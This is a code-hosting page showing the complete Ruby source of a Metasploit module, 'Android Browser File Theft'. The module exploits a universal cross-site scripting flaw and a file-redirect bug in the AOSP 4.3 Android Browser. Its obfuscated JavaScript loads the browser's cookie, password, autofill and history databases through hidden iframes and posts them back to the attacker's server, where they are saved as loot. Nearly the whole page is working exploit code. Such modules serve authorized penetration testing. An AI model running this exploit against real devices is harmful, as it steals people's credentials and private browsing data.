Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/android_browser_file_theft.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::HttpServer::HTML8include Msf::Auxiliary::Report9include Msf::Exploit::JSObfu1011def initialize(info={})12super(update_info(info,13'Name' => 'Android Browser File Theft',14'Description' => %q{15This module steals the cookie, password, and autofill databases from the16Browser application on AOSP 4.3 and below.17},18'Author' => [19'Rafay Baloch', # Found UXSS bug in Android Browser20'joev' # File redirect and msf module21],22'License' => MSF_LICENSE,23'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],24'PassiveActions' => [ 'WebServer' ],25'References' =>26[27# patch for file redirection, 201428['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],29['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=90222'] # the UXSS30],31'DefaultAction' => 'WebServer'32))3334register_options([35OptString.new('ADDITIONAL_FILES', [36false,37'Comma-separated list of addition file URLs to steal.',38]),39OptBool.new('DEFAULT_FILES', [40true,41'Steals a default set of file URLs',42true43])44])45end4647def run48exploit49end5051def on_request_uri(cli, request)52if request.method.downcase == 'post'53process_post(cli, request)54send_response_html(cli, '')55else56print_status('Sending exploit landing page...')57send_response_html(cli, exploit_html)58end59end6061def process_post(cli, request)62data = JSON.parse(request.body)63contents = hex2bin(data['data'])64file = File.basename(data['url'])65print_good("File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}")66loot_path = store_loot(67file,68'application/x-sqlite3',69cli.peerhost,70contents,71File.basename(data['url']),72"#{cli.peerhost.ljust(16)} Android browser file"73)74print_good("Saved to: #{loot_path}")75end767778def file_urls79default_urls = [80'file:///data/data/com.android.browser/databases/webviewCookiesChromium.db',81'file:///data/data/com.android.browser/databases/webview.db',82'file:///data/data/com.android.browser/databases/autofill.db',83'file:///data/data/com.android.browser/databases/browser2.db',84'file:///data/data/com.android.browser/app_appcache/ApplicationCache.db',85'file:///data/data/com.android.browser/app_databases/Databases.db',86'file:///data/data/com.android.browser/databases/webviewCookiesChromiumPrivate.db'87]8889unless datastore['DEFAULT_FILES']90default_urls = []91end9293default_urls + (datastore['ADDITIONAL_FILES']||'').split(',')94end9596def exploit_html97%Q|98<!doctype html>99<html>100<body>101<script>#{exploit_js}</script>102</body>103</html>104|105end106107def exploit_js108js_obfuscate %Q|109window.onmessage = function(e) {110var x = new XMLHttpRequest;111x.open("POST", location.href);112x.send(JSON.stringify(e.data))113};114115116function xss() {117var urls = (#{JSON.generate(file_urls)});118function tick() {119setTimeout(function() { next(urls.shift()); });120};121window.onmessage = tick;122123function next(url) {124if (!url) return;125try {126var f = document.createElement('iframe');127f.src = url;128f.onload = function() {129f.onload = null;130function nested() {131var x = new XMLHttpRequest;132x.open('GET', location.href);133x.responseType = 'arraybuffer';134x.send();135x.onload = function() {136var buff = new Uint8Array(x.response);137var hex = Array.prototype.map.call(buff, function(d) {138var c = d.toString(16);139return (c.length < 2) ? 0+c : c;140}).join(new String);141/*ensures there are no 'not allowed' responses that appear to be valid data*/142if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') === -1) {143top.postMessage({data:hex,url:location.href}, '*');144}145parent.postMessage(1,'*');146};147x.onerror = function() {148parent.postMessage(1,'*');149};150}151document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()';152f.contentWindow.location = "";153};154document.body.appendChild(f);155} catch(e) {t();}156};157158tick();159160}161162var brokenFrame = document.createElement('iframe');163brokenFrame.src = 'http://localhost:100';164brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')165brokenFrame.onload = function() {166brokenFrame.onload = null;167document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';168brokenFrame.contentWindow.location = "";169};170document.body.appendChild(brokenFrame);171|172end173174# TODO: Make this a proper Rex::Text function175def hex2bin(hex)176hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join177end178end179180181